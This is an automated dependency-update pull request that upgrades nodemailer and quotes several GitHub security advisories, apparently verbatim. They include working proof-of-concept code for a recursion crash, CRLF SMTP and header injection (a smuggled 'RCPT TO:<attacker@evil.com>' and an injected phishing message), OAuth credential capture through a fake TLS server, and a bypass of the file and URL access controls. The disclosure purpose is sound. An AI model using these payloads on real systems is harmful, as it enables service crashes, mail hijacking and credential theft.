Update dependency nodemailer to v8 [SECURITY] by renovate[bot] · Pull Request #219 · csesoc/discord-bot

renovate · 2025-10-07T14:50:02Z

ℹ️ Note

This PR body was truncated due to platform limits.

This PR contains the following updates:

Package	Change	Age	Confidence
nodemailer (source)	`6.9.13` → `8.0.9`

Nodemailer: Email to an unintended domain can occur due to Interpretation Conflict

CVE-2025-13033 / GHSA-mm7p-fcc7-pg87

More information

Details

The email parsing library incorrectly handles quoted local-parts containing @. This leads to misrouting of email recipients, where the parser extracts and routes to an unintended domain instead of the RFC-compliant target.

Payload: "xclow3n@gmail.com x"@internal.domain
Using the following code to send mail

const nodemailer = require("nodemailer");

let transporter = nodemailer.createTransport({
  service: "gmail",
  auth: {
    user: "",
    pass: "",
  },
});

let mailOptions = {
  from: '"Test Sender" <your_email@gmail.com>', 
  to: "\"xclow3n@gmail.com x\"@&#8203;internal.domain",
  subject: "Hello from Nodemailer",
  text: "This is a test email sent using Gmail SMTP and Nodemailer!",
};

transporter.sendMail(mailOptions, (error, info) => {
  if (error) {
    return console.log("Error: ", error);
  }
  console.log("Message sent: %s", info.messageId);

});

(async () => {
  const parser = await import("@&#8203;sparser/email-address-parser");
  const { EmailAddress, ParsingOptions } = parser.default;
  const parsed = EmailAddress.parse(mailOptions.to /*, new ParsingOptions(true) */);

  if (!parsed) {
    console.error("Invalid email address:", mailOptions.to);
    return;
  }

  console.log("Parsed email:", {
    address: `${parsed.localPart}@&#8203;${parsed.domain}`,
    local: parsed.localPart,
    domain: parsed.domain,
  });
})();

Running the script and seeing how this mail is parsed according to RFC

Parsed email: {
  address: '"xclow3n@gmail.com x"@&#8203;internal.domain',
  local: '"xclow3n@gmail.com x"',
  domain: 'internal.domain'
}

But the email is sent to xclow3n@gmail.com

Impact:

Misdelivery / Data leakage: Email is sent to psres.net instead of test.com.
Filter evasion: Logs and anti-spam systems may be bypassed by hiding recipients inside quoted local-parts.
Potential compliance issue: Violates RFC 5321/5322 parsing rules.
Domain based access control bypass in downstream applications using your library to send mails

Recommendations

Fix parser to correctly treat quoted local-parts per RFC 5321/5322.
Add strict validation rejecting local-parts containing embedded @ unless fully compliant with quoting.

Severity

CVSS Score: 5.5 / 10 (Medium)
Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Nodemailer’s addressparser is vulnerable to DoS caused by recursive calls

CVE-2025-14874 / GHSA-rcmh-qjqh-p98v

More information

Details

Summary

A DoS can occur that immediately halts the system due to the use of an unsafe function.

Details

According to RFC 5322, nested group structures (a group inside another group) are not allowed. Therefore, in lib/addressparser/index.js, the email address parser performs flattening when nested groups appear, since such input is likely to be abnormal. (If the address is valid, it is added as-is.) In other words, the parser flattens all nested groups and inserts them into the final group list.
However, the code implemented for this flattening process can be exploited by malicious input and triggers DoS

RFC 5322 uses a colon (:) to define a group, and commas (,) are used to separate members within a group.
At the following location in lib/addressparser/index.js:

https://github.com/nodemailer/nodemailer/blob/master/lib/addressparser/index.js#L90

there is code that performs this flattening. The issue occurs when the email address parser attempts to process the following kind of malicious address header:

g0: g1: g2: g3: ... gN: victim@example.com;

Because no recursion depth limit is enforced, the parser repeatedly invokes itself in the pattern
addressparser → _handleAddress → addressparser → ...
for each nested group. As a result, when an attacker sends a header containing many colons, Nodemailer enters infinite recursion, eventually throwing Maximum call stack size exceeded and causing the process to terminate immediately. Due to the structure of this behavior, no authentication is required, and a single request is enough to shut down the service.

The problematic code section is as follows:

if (isGroup) {
    ...
    if (data.group.length) {
        let parsedGroup = addressparser(data.group.join(',')); // <- boom!
        parsedGroup.forEach(member => {
            if (member.group) {
                groupMembers = groupMembers.concat(member.group);
            } else {
                groupMembers.push(member);
            }
        });
    }
}

data.group is expected to contain members separated by commas, but in the attacker’s payload the group contains colon (:) tokens. Because of this, the parser repeatedly triggers recursive calls for each colon, proportional to their number.

PoC

const nodemailer = require('nodemailer');

function buildDeepGroup(depth) {
  let parts = [];
  for (let i = 0; i < depth; i++) {
    parts.push(`g${i}:`);
  }
  return parts.join(' ') + ' user@example.com;';
}

const DEPTH = 3000; // <- control depth 
const toHeader = buildDeepGroup(DEPTH);
console.log('to header length:', toHeader.length);

const transporter = nodemailer.createTransport({
  streamTransport: true,
  buffer: true,
  newline: 'unix'
});

console.log('parsing start');

transporter.sendMail(
  {
    from: 'test@example.com',
    to: toHeader,
    subject: 'test',
    text: 'test'
  },
  (err, info) => {
    if (err) {
      console.error('error:', err);
    } else {
      console.log('finished :', info && info.envelope);
    }
  }
);

As a result, when the colon is repeated beyond a certain threshold, the Node.js process terminates immediately.

Impact

The attacker can achieve the following:

Force an immediate crash of any server/service that uses Nodemailer
Kill the backend process with a single web request
In environments using PM2/Forever, trigger a continuous restart loop, causing severe resource exhaustion”

Severity

CVSS Score: 7.5 / 10 (High)
Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Nodemailer has SMTP command injection due to unsanitized `envelope.size` parameter

GHSA-c7w3-x93f-qmm8

More information

Details

Summary

When a custom envelope object is passed to sendMail() with a size property containing CRLF characters (\r\n), the value is concatenated directly into the SMTP MAIL FROM command without sanitization. This allows injection of arbitrary SMTP commands, including RCPT TO — silently adding attacker-controlled recipients to outgoing emails.

Details

In lib/smtp-connection/index.js (lines 1161-1162), the envelope.size value is concatenated into the SMTP MAIL FROM command without any CRLF sanitization:

if (this._envelope.size && this._supportedExtensions.includes('SIZE')) {
    args.push('SIZE=' + this._envelope.size);
}

This contrasts with other envelope parameters in the same function that ARE properly sanitized:

Addresses (from, to): validated for [\r\n<>] at lines 1107-1127
DSN parameters (dsn.ret, dsn.envid, dsn.orcpt): encoded via encodeXText() at lines 1167-1183

The size property reaches this code path through MimeNode.setEnvelope() in lib/mime-node/index.js (lines 854-858), which copies all non-standard envelope properties verbatim:

const standardFields = ['to', 'cc', 'bcc', 'from'];
Object.keys(envelope).forEach(key => {
    if (!standardFields.includes(key)) {
        this._envelope[key] = envelope[key];
    }
});

Since _sendCommand() writes the command string followed by \r\n to the raw TCP socket, a CRLF in the size value terminates the MAIL FROM command and starts a new SMTP command.

Note: by default, Nodemailer constructs the envelope automatically from the message's from/to fields and does not include size. This vulnerability requires the application to explicitly pass a custom envelope object with a size property to sendMail().
While this limits the attack surface, applications that expose envelope configuration to users are affected.

PoC

ave the following as poc.js and run with node poc.js:

const net = require('net');
const nodemailer = require('nodemailer');

// Minimal SMTP server that logs raw commands
const server = net.createServer(socket => {
    socket.write('220 localhost ESMTP\r\n');
    let buffer = '';
    socket.on('data', chunk => {
        buffer += chunk.toString();
        const lines = buffer.split('\r\n');
        buffer = lines.pop();
        for (const line of lines) {
            if (!line) continue;
            console.log('C:', line);
            if (line.startsWith('EHLO')) {
                socket.write('250-localhost\r\n250-SIZE 10485760\r\n250 OK\r\n');
            } else if (line.startsWith('MAIL FROM')) {
                socket.write('250 OK\r\n');
            } else if (line.startsWith('RCPT TO')) {
                socket.write('250 OK\r\n');
            } else if (line === 'DATA') {
                socket.write('354 Start\r\n');
            } else if (line === '.') {
                socket.write('250 OK\r\n');
            } else if (line.startsWith('QUIT')) {
                socket.write('221 Bye\r\n');
                socket.end();
            }
        }
    });
});

server.listen(0, '127.0.0.1', () => {
    const port = server.address().port;
    console.log('SMTP server on port', port);
    console.log('Sending email with injected RCPT TO...\n');

    const transporter = nodemailer.createTransport({
        host: '127.0.0.1',
        port,
        secure: false,
        tls: { rejectUnauthorized: false },
    });

    transporter.sendMail({
        from: 'sender@example.com',
        to: 'recipient@example.com',
        subject: 'Normal email',
        text: 'This is a normal email.',
        envelope: {
            from: 'sender@example.com',
            to: ['recipient@example.com'],
            size: '100\r\nRCPT TO:<attacker@evil.com>',
        },
    }, (err) => {
        if (err) console.error('Error:', err.message);
        console.log('\nExpected output above:');
        console.log('  C: MAIL FROM:<sender@example.com> SIZE=100');
        console.log('  C: RCPT TO:<attacker@evil.com>        <-- INJECTED');
        console.log('  C: RCPT TO:<recipient@example.com>');
        server.close();
        transporter.close();
    });
});

Expected output:

SMTP server on port 12345
Sending email with injected RCPT TO...

C: EHLO [127.0.0.1]
C: MAIL FROM:<sender@example.com> SIZE=100
C: RCPT TO:<attacker@evil.com>
C: RCPT TO:<recipient@example.com>
C: DATA
...
C: .
C: QUIT

The RCPT TO:<attacker@evil.com> line is injected by the CRLF in the size field, silently adding an extra recipient to the email.

Impact

This is an SMTP command injection vulnerability. An attacker who can influence the envelope.size property in a sendMail() call can:

Silently add hidden recipients to outgoing emails via injected RCPT TO commands, receiving copies of all emails sent through the affected transport
Inject arbitrary SMTP commands (e.g., RSET, additional MAIL FROM to send entirely separate emails through the server)
Leverage the sending organization's SMTP server reputation for spam or phishing delivery

The severity is mitigated by the fact that the envelope object must be explicitly provided by the application. Nodemailer's default envelope construction from message headers does not include size. Applications that pass through user-controlled data to the envelope options (e.g., via API parameters, admin panels, or template configurations) are vulnerable.

Affected versions: at least v8.0.3 (current); likely all versions where envelope.size is supported.

Severity

CVSS Score: 2.3 / 10 (Low)
Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Nodemailer Vulnerable to SMTP Command Injection via CRLF in Transport name Option (EHLO/HELO)

GHSA-vvjj-xcjg-gr5g

More information

Details

Summary

Nodemailer versions up to and including 8.0.4 are vulnerable to SMTP command injection via CRLF sequences in the transport name configuration option. The name value is used directly in the EHLO/HELO SMTP command without any sanitization for carriage return and line feed characters (\r\n). An attacker who can influence this option can inject arbitrary SMTP commands, enabling unauthorized email sending, email spoofing, and phishing attacks.

Details

The vulnerability exists in lib/smtp-connection/index.js. When establishing an SMTP connection, the name option is concatenated directly into the EHLO command:

// lib/smtp-connection/index.js, line 71
this.name = this.options.name || this._getHostname();

// line 1336
this._sendCommand('EHLO ' + this.name);

The _sendCommand method writes the string directly to the socket followed by \r\n (line 1082):

this._socket.write(Buffer.from(str + '\r\n', 'utf-8'));

If the name option contains \r\n sequences, each injected line is interpreted by the SMTP server as a separate command. Unlike the envelope.from and envelope.to fields which are validated for \r\n (line 1107-1119), and unlike envelope.size which was recently fixed (GHSA-c7w3-x93f-qmm8) by casting to a number, the name parameter receives no CRLF sanitization whatsoever.

This is distinct from the previously reported GHSA-c7w3-x93f-qmm8 (envelope.size injection) as it affects a different parameter (name vs size), uses a different injection point (EHLO command vs MAIL FROM command), and occurs at connection initialization rather than during message sending.

The name option is also used in HELO (line 1384) and LHLO (line 1333) commands with the same lack of sanitization.

PoC

const nodemailer = require('nodemailer');
const net = require('net');

// Simple SMTP server to observe injected commands
const server = net.createServer(socket => {
    socket.write('220 test ESMTP\r\n');
    socket.on('data', data => {
        const lines = data.toString().split('\r\n').filter(l => l);
        lines.forEach(line => {
            console.log('SMTP CMD:', line);
            if (line.startsWith('EHLO') || line.startsWith('HELO'))
                socket.write('250 OK\r\n');
            else if (line.startsWith('MAIL FROM'))
                socket.write('250 OK\r\n');
            else if (line.startsWith('RCPT TO'))
                socket.write('250 OK\r\n');
            else if (line === 'DATA')
                socket.write('354 Go\r\n');
            else if (line === '.')
                socket.write('250 OK\r\n');
            else if (line === 'QUIT')
                { socket.write('221 Bye\r\n'); socket.end(); }
            else if (line === 'RSET')
                socket.write('250 OK\r\n');
        });
    });
});

server.listen(0, '127.0.0.1', () => {
    const port = server.address().port;

    // Inject a complete phishing email via EHLO name
    const transport = nodemailer.createTransport({
        host: '127.0.0.1',
        port: port,
        secure: false,
        name: 'legit.host\r\nMAIL FROM:<attacker@evil.com>\r\n'
            + 'RCPT TO:<victim@target.com>\r\nDATA\r\n'
            + 'From: ceo@company.com\r\nTo: victim@target.com\r\n'
            + 'Subject: Urgent\r\n\r\nPhishing content\r\n.\r\nRSET'
    });

    transport.sendMail({
        from: 'legit@example.com',
        to: 'legit-recipient@example.com',
        subject: 'Normal email',
        text: 'Normal content'
    }, () => { server.close(); process.exit(0); });
});

Running this PoC shows the SMTP server receives the injected MAIL FROM, RCPT TO, DATA, and phishing email content as separate SMTP commands before the legitimate email is sent.

Impact

Who is affected: Applications that allow users or external input to configure the name SMTP transport option. This includes:

Multi-tenant SaaS platforms with per-tenant SMTP configuration
Admin panels where SMTP hostname/name settings are stored in databases
Applications loading SMTP config from environment variables or external sources

What can an attacker do:

Send unauthorized emails to arbitrary recipients by injecting MAIL FROM and RCPT TO commands
Spoof email senders by injecting arbitrary From headers in the DATA portion
Conduct phishing attacks using the legitimate SMTP server as a relay
Bypass application-level controls on email recipients, since the injected commands are processed before the application's intended MAIL FROM/RCPT TO
Perform SMTP reconnaissance by injecting commands like VRFY or EXPN

The injection occurs at the EHLO stage (before authentication in most SMTP flows), making it particularly dangerous as the injected commands may be processed with the server's trust context.

Recommended fix: Sanitize the name option by stripping or rejecting CRLF sequences, similar to how envelope.from and envelope.to are already validated on lines 1107-1119 of lib/smtp-connection/index.js. For example:

this.name = (this.options.name || this._getHostname()).replace(/[\r\n]/g, '');

Severity

CVSS Score: 4.9 / 10 (Medium)
Vector String: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:H/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Nodemailer: Improper TLS Certificate Validation in OAuth2 Token Fetch Enables Credential Interception

GHSA-r7g4-qg5f-qqm2

More information

Details

Summary

Nodemailer disables TLS certificate verification in its internal HTTPS fetch client through the use of rejectUnauthorized: false inside lib/fetch/index.js.

As a result, OAuth2 token requests trust invalid or self-signed HTTPS certificates and transmit sensitive OAuth credentials over connections that should fail TLS validation.

An attacker in a machine-in-the-middle position can intercept OAuth2 credential exchanges and capture:

OAuth client_secret
refresh_token
access tokens

The issue was verified through runtime testing using a self-signed HTTPS OAuth endpoint.

Details

Root Cause

The issue originates from the internal HTTPS fetch implementation used by Nodemailer for OAuth2 token retrieval and related outbound HTTPS requests.

Inside:

lib/fetch/index.js

the request options contain:

rejectUnauthorized: false

This disables TLS peer certificate verification globally for the internal HTTPS client unless explicitly overridden through optional TLS configuration.

As a result:

self-signed certificates are trusted
invalid CA chains are accepted
hostname validation is bypassed
attacker-controlled HTTPS endpoints are treated as trusted

This violates expected HTTPS security guarantees.

Vulnerable Flow

The vulnerable execution chain is:

OAuth2 Transport
↓
XOAuth2 token generation
↓
Internal HTTPS fetch client
↓
HTTPS request with rejectUnauthorized:false
↓
Attacker-controlled/self-signed endpoint trusted
↓
OAuth credentials transmitted

PoC

Environment

Mail API (app/server.js)

const express = require("express");
const nodemailer = require("nodemailer");
require("dotenv").config();

const app = express();

app.use(express.json());

const transporter = nodemailer.createTransport({
    host: process.env.SMTP_HOST,
    port: process.env.SMTP_PORT,
    secure: false,
    auth: {
        user: process.env.SMTP_USER,
        pass: process.env.SMTP_PASS
    }
});

app.post("/send", async (req, res) => {
    try {
        const { to, subject, text, html } = req.body;

        const info = await transporter.sendMail({
            from: `"Mailer" <${process.env.SMTP_USER}>`,
            to,
            subject,
            text,
            html
        });

        res.json({
            success: true,
            messageId: info.messageId
        });

    } catch (err) {
        console.error(err);
        res.status(500).json({
            success: false,
            error: err.message
        });
    }
});

app.listen(process.env.PORT, () => {
    console.log(`Mailer running on port ${process.env.PORT}`);
});

Malicious HTTPS OAuth Server (poc/evil-oauth.js)

const https = require('https');
const fs = require('fs');

https.createServer({
    key: fs.readFileSync('./key.pem'),
    cert: fs.readFileSync('./cert.pem')
}, (req, res) => {

    console.log('\n==== REQUEST INTERCEPTED ====');
    console.log(req.method, req.url);

    let body = '';

    req.on('data', chunk => {
        body += chunk;
    });

    req.on('end', () => {

        console.log('\nPOST BODY:');
        console.log(body);

        res.writeHead(200, {
            'Content-Type': 'application/json'
        });

        res.end(JSON.stringify({
            access_token: 'attacker_token',
            expires_in: 3600
        }));
    });

}).listen(8443, () => {
    console.log('Malicious HTTPS OAuth server listening on 8443');
});

Nodemailer OAuth2 Test (test.js)

const nodemailer = require('./');

const transporter = nodemailer.createTransport({
    service: 'gmail',

    auth: {
        type: 'OAuth2',

        user: 'redacted@example.com',

        clientId: 'CLIENT_ID_REDACTED',
        clientSecret: 'CLIENT_SECRET_REDACTED',

        refreshToken: 'REFRESH_TOKEN_REDACTED',

        accessUrl: 'https://localhost:8443/token'
    }
});

transporter.sendMail({
    from: 'redacted@example.com',
    to: 'redacted@example.com',
    subject: 'PoC',
    text: 'test'

}, (err, info) => {

    console.log('\n==== NODEMAILER RESULT ====');

    if (err) {
        console.error(err);
    } else {
        console.log(info);
    }
});

Steps to Reproduce

Start malicious HTTPS OAuth server:
node poc/evil-oauth.js
Run Nodemailer OAuth2 test:
node test.js
Observe intercepted OAuth2 request body on the malicious HTTPS server.

PIC

Impact

OAuth credential theft
unauthorized email access
persistent token abuse
unauthorized mail sending
mailbox compromise
interception/tampering of OAuth responses

The issue effectively downgrades HTTPS security protections for sensitive OAuth credential exchanges.

Severity

CVSS Score: 6.5 / 10 (Medium)
Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Nodemailer jsonTransport bypasses disableFileAccess and disableUrlAccess during message normalization

GHSA-wqvq-jvpq-h66f

More information

Details

Summary

Nodemailer's disableFileAccess and disableUrlAccess options are intended to prevent message content and attachments from reading local files or fetching URLs. The normal MIME streaming path enforces those options in MimeNode._getStream(). However, jsonTransport serializes messages by calling mail.normalize(), which resolves html, text, alternatives, calendar events, and attachments through shared.resolveContent() before MIME generation. shared.resolveContent() reads local files and fetches HTTP(S) URLs directly, without receiving or checking disableFileAccess or disableUrlAccess.

As a result, applications that use jsonTransport as a safe serializer or queue payload generator while relying on disableFileAccess / disableUrlAccess can still be made to read local files into the generated JSON output or make outbound HTTP requests when an attacker controls message content fields such as attachment path or text.href.

The same missing-enforcement root cause is also reachable before normal streaming when attachDataUrls causes _convertDataImages() to call mail.resolveContent(mail.data, 'html', ...); this should be fixed with the same access-control check.

Details

Source-to-sink evidence:

lib/nodemailer.js:42-45 selects JSONTransport when createTransport({ jsonTransport: true, ... }) is used.
lib/mailer/mail-message.js:34-39 copies transport-level disableFileAccess and disableUrlAccess options into mail.data.
lib/json-transport/index.js:52-76 serializes mail by calling mail.normalize((err, data) => ...).
lib/mailer/mail-message.js:46-135 implements resolveAll() and calls shared.resolveContent(...args, ...) for html, text, watchHtml, amp, icalEvent, alternatives, and attachments.
lib/shared/index.js:506-562 implements resolveContent().
lib/shared/index.js:540-541 fetches HTTP(S) content with nmfetch(content.path || content.href).
lib/shared/index.js:549-550 reads local files with fs.createReadStream(content.path).
shared.resolveContent() does not check disableFileAccess or disableUrlAccess and does not receive those flags.

Control path showing intended enforcement:

lib/mail-composer/index.js:358-359, lib/mail-composer/index.js:367-368, and sibling child-node creation paths pass disableUrlAccess and disableFileAccess into MimeNode.
lib/mime-node/index.js:51-52 stores those flags.
lib/mime-node/index.js:984-995 rejects file paths with EFILEACCESS when disableFileAccess is set.
lib/mime-node/index.js:998-1009 rejects URLs with EURLACCESS when disableUrlAccess is set.
test/mail-composer/mail-composer-test.js:1028-1044 includes a normal MIME-streaming test that expects file access to be blocked when disableFileAccess: true.

Additional same-root-cause variant:

lib/mailer/index.js:406-434 implements _convertDataImages() for attachDataUrls.
lib/mailer/index.js:407-410 calls mail.resolveContent(mail.data, 'html', ...) when attachDataUrls is enabled and mail.data.html is present.
Because mail.resolveContent() delegates to shared.resolveContent() at lib/mailer/mail-message.js:42-44, an object-form html: { path: ... } or html: { href: ... } can be resolved before the later MIME streaming enforcement sees the content.
This variant requires attachDataUrls to be enabled, so the main reportable default/common path is jsonTransport; both should be fixed by enforcing access flags inside the pre-resolution helper or passing policy into it.

Default/common exposure evidence:

jsonTransport is a shipped runtime transport selected by public createTransport options.
test/json-transport/json-transport-test.js:9-83 demonstrates that jsonTransport intentionally resolves file-backed html and attachments into JSON output.
disableFileAccess and disableUrlAccess are documented by code and tests as security controls and are copied from transport options into message data for all transports.
The bypass does not require test-only code, external infrastructure, unsupported configuration, or maintainer-only APIs.

False-positive screening and negative controls:

The local PoC used the same disableFileAccess: true and disableUrlAccess: true transport options for both jsonTransport and normal streamTransport controls.
jsonTransport read the temporary local fixture file and embedded the content in JSON despite disableFileAccess: true.
streamTransport with the same attachment and disableFileAccess: true rejected with EFILEACCESS.
jsonTransport fetched a local HTTP listener despite disableUrlAccess: true.
streamTransport with the same URL and disableUrlAccess: true rejected with EURLACCESS.
The local URL proof used only 127.0.0.1 and did not contact external infrastructure.

Affected version evidence and uncertainty:

Confirmed vulnerable: nodemailer 8.0.8 at commit 15138a84c543c20aa399218534cdbbfa2ea1ce55.
Git history shows jsonTransport has existed since commit d78b63b (2017-02-09, "Added test for json transport"), and disableFileAccess appears in historical setup commit 6218b8d (2017-01-31), but older versions were not dynamically tested during this audit.
Affected range is therefore recorded as unknown beyond the confirmed current version.
No patched version was identified in this checkout.

Severity rationale:

AV: The vulnerable library path is typically reached through an application-level message submission or rendering/queueing feature.
AC: A single message field using path or href triggers the bypass when jsonTransport is used.
PR: Conservative assumption that the attacker is a lower-privileged user of an application that accepts partially user-controlled message objects. Some deployments may expose this unauthenticated, but that was not assumed.
UI: No user interaction is required after the application accepts the message object.
S: The impact remains in the embedding application/library security scope.
C: Local file contents can be copied into the generated JSON output when the application later stores, logs, returns, or forwards that JSON.
I: The attacker can induce outbound HTTP requests to attacker-chosen or internal URLs from the application host when URL access was intended to be disabled.
A: No availability impact was demonstrated; the PoC used bounded local files and a localhost listener only.

Final self-review:

Reproduction evidence was generated locally from this checkout using only a temporary file under the OS temp directory and a local 127.0.0.1 HTTP listener.
The PoC included positive proof for file read and URL fetch, plus negative controls showing normal streamTransport rejects the same inputs with EFILEACCESS and EURLACCESS.
The proof is non-destructive, performs no external network traffic, and deletes its temporary fixture.
Reachability, package exposure, policy-enforcement bypass, same-root-cause variant, and false-positive controls were checked as described above.
The affected range is not overclaimed; only the current tested version is confirmed vulnerable.

PoC

From a clean checkout of nodemailer at commit 15138a84c543c20aa399218534cdbbfa2ea1ce55, run:

node <<'NODE'
'use strict';
const fs = require('fs');
const os = require('os');
const path = require('path');
const http = require('http');
const nodemailer = require('./');
const marker = 'NM_JSON_BYPASS_' + Date.now();
const fixture = path.join(os.tmpdir(), 'nodemailer-json-bypass-' + process.pid + '.txt');
fs.writeFileSync(fixture, marker);
function sendMail(transport, data) {
  return new Promise((resolve, reject) => transport.sendMail(data, (err, info) => err ? reject(err) : resolve(info)));
}
(async () => {
  const jsonTransport = nodemailer.createTransport({ jsonTransport: true, disableFileAccess: true, disableUrlAccess: true });
  const jsonInfo = await sendMail(jsonTransport, {
    from: 'sender@example.test',
    to: 'recipient@example.test',
    subject: 'json file bypass',
    text: 'body',
    attachments: [{ filename: 'secret.txt', path: fixture }]
  });
  const jsonMessage = JSON.parse(jsonInfo.message);
  const decoded = Buffer.from(jsonMessage.attachments[0].content, 'base64').toString('utf8');
  console.log('JSON_FILE_BYPASS=' + (decoded === marker));
  console.log('JSON_FILE_CONTENT=' + decoded);

  const streamTransport = nodemailer.createTransport({ streamTransport: true, buffer: true, disableFileAccess: true });
  try {
    await sendMail(streamTransport, {
      from: 'sender@example.test',
      to: 'recipient@example.test',
      subject: 'stream control',
      text: 'body',
      attachments: [{ filename: 'secret.txt', path: fixture }]
    });
    console.log('STREAM_FILE_CONTROL=NO_ERROR');
  } catch (err) {
    console.log('STREAM_FILE_CONTROL=' + err.code);
  }

  const server = http.createServer((req, res) => {
    console.log('LOCAL_HTTP_REQUEST=' + req.method + ' ' + req.url);
    res.end('LOCAL_HTTP_MARKER');
  });
  await new Promise(resolve => server.listen(0, '127.0.0.1', resolve));
  const url = 'http://127.0.0.1:' + server.address().port + '/private';
  const jsonUrlInfo = await sendMail(jsonTransport, {
    from: 'sender@example.test',
    to: 'recipient@example.test',
    subject: 'json url bypass',
    text: { href: url }
  });
  const jsonUrlMessage = JSON.parse(jsonUrlInfo.message);
  console.log('JSON_URL_BYPASS=' + (jsonUrlMessage.text === 'LOCAL_HTTP_MARKER'));
  const streamUrlTransport = nodemailer.createTransport({ streamTransport: true, buffer: true, disableUrlAccess: true });
  try {
    await sendMail(streamUrlTransport, {
      from: 'sender@example.test',
      to: 'recipient@example.test',
      subject: 'stream url control',
      text: { href: url }
    });
    console.log('STREAM_URL_CONTROL=NO_ERROR');
  } catch (err) {
    console.log('STREAM_URL_CONTROL=' + err.code);
  }
  server.close();
  fs.unlinkSync(fixture);
})().catch(err => { try { fs.unlinkSync(fixture); } catch (E) {} console.error(err && err.stack || err); process.exit(1); });
NODE

Observed output in this environment:

JSON_FILE_BYPASS=true
JSON_FILE_CONTENT=NM_JSON_BYPASS_1779802076150
STREAM_FILE_CONTROL=EFILEACCESS
LOCAL_HTTP_REQUEST=GET /private
JSON_URL_BYPASS=true
STREAM_URL_CONTROL=EURLACCESS

Expected vulnerable output: JSON_FILE_BYPASS=true, the printed temporary marker in JSON_FILE_CONTENT, a LOCAL_HTTP_REQUEST=GET /private line, and JSON_URL_BYPASS=true. Expected negative/control output: STREAM_FILE_CONTROL=EFILEACCESS and STREAM_URL_CONTROL=EURLACCESS, showing the same policy flags work in the normal streaming transport.

Cleanup: the PoC removes its temporary fixture file before exiting and closes the local HTTP server.

Impact

If an application uses jsonTransport to safely serialize or queue partially user-controlled Nodemailer message objects while relying on disableFileAccess / disableUrlAccess, an attacker can bypass those protections. The file-read variant can copy local file contents into the generated JSON message output. The URL-fetch variant can force outbound HTTP requests from the application host to local or internal services despite URL access being disabled. The impact depends on what message fields the embedding application exposes and where it stores or returns the generated JSON, but the local PoC confirms both protected sink operations are reached.

Suggested remediation

Enforce disableFileAccess and disableUrlAccess inside shared.resolveContent() or pass an explicit policy object into every pre-resolution call and reject protected path / href values before opening files or fetching URLs. Apply the same fix to jsonTransport normalization and the attachDataUrls pre-plugin path. Add regression tests showing jsonTransport returns EFILEACCESS / EURLACCESS for file and URL content when those flags are set, and that attachDataUrls cannot resolve object-form html.path / html.href when the corresponding access flag is disabled.

Severity

CVSS Score: 5.4 / 10 (Medium)
Vector String: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Nodemailer: CRLF injection in Nodemailer List-* header comments allows arbitrary message header injection

GHSA-268h-hp4c-crq3

More information

Details

Summary

Nodemailer constructs List-* headers from the caller-provided list message option using internally prepared header values. The list.*.comment field is inserted into those prepared values without removing CR (\r) or LF (\n) characters. Because prepared headers bypass the normal header-value sanitizer and are passed to mimeFuncs.foldLines(), a CRLF sequence in a list comment is emitted as an actual header boundary in the generated RFC822 message.

An application that lets a lower-privileged or unauthenticated user influence list.help.comment, list.unsubscribe.comment, list.subscribe.comment, list.post.comment, list.owner.comment, list.archive.comment, or list.id.comment can therefore be made to generate messages containing attacker-chosen additional headers.

Details

Source-to-sink evidence:

lib/mailer/mail-message.js:241-249 calls _getListHeaders(this.data.list) and adds each returned value with this.message.addHeader(listHeader.key, value).
lib/mailer/mail-message.js:253-296 builds each list header value as { prepared: true, foldLines: true, value: ... }.
For List-ID, lib/mailer/mail-message.js:272-279 copies value.comment into the generated header value. If mimeFuncs.isPlainText(comment) returns true, it wraps the comment in quotes rather than encoding or CRLF-normalizing it.
For the other List-* headers, lib/mailer/mail-message.js:283-288 copies value.comment into (<comment>). If mimeFuncs.isPlainText(comment) returns true, the value is not encoded or CRLF-normalized.
lib/mime-node/index.js:323-351 accepts the prepared header object.
lib/mime-node/index.js:533-540 trusts options.prepared; when foldLines is set, it pushes mimeFuncs.foldLines(key + ': ' + value) directly into the header block.
The normal header-value sanitizer path is bypassed because the value is marked prepared. By contrast, ordinary unprepared header values are normalized in the regular header-building path.
lib/mailer/mail-message.js:299-308 removes whitespace and angle brackets from list.*.url, so the confirmed injection source is the comment field, not the URL field.

Default/common exposure evidence:

lib/nodemailer.js:21-60 exposes the public createTransport(...).sendMail(...) flow used by the package.
examples/full.js:106-123 documents list.unsubscribe.comment and list.id.comment as normal message options.
The behavior is in shipped runtime code and does not require test-only code, non-default build steps, or undocumented internals.

False-positive screening and negative controls:

SMTP command construction was separately reviewed. Envelope sender/recipients reject CRLF before SMTP commands, EHLO names strip CRLF, SIZE is numeric, and DSN fields are encoded; no SMTP command-injection variant was confirmed.
Ordinary subject header input containing CRLF was normalized to a single Subject: header and did not create X-Injected in the local control case.
Address display names and MIME filename/content-type parameters were reviewed by a focused MIME/header audit and were encoded or CRLF-normalized in local checks.
prepared: true custom headers are an explicit low-level escape hatch, but this issue is different because Nodemailer itself creates prepared headers from the documented list.*.comment option.

Variant analysis:

Local testing confirmed the same root cause for comments in List-Help, List-Unsubscribe, List-Subscribe, List-Post, List-Owner, List-Archive, and List-ID. These should be fixed together by rejecting or normalizing CR/LF in list comments before prepared header generation, or by avoiding the prepared-header bypass for caller-controlled list values.

Affected version evidence and uncertainty:

Confirmed vulnerable: nodemailer 8.0.8 at commit 15138a84c543c20aa399218534cdbbfa2ea1ce55.
Git history shows _getListHeaders present in historical commits including 22fcff8 (v4.3.0) and related list-header work in 9b4f90a (v3.1.8), but older versions were not dynamically tested during this audit.
Affected range is therefore recorded as unknown beyond the confirmed current version.
No patched version was identified in this checkout.

Severity rationale:

AV: The vulnerable library path is reached through application-level message submission in typical networked applications that use Nodemailer.
AC: A single CRLF sequence in a documented message option triggers the issue.
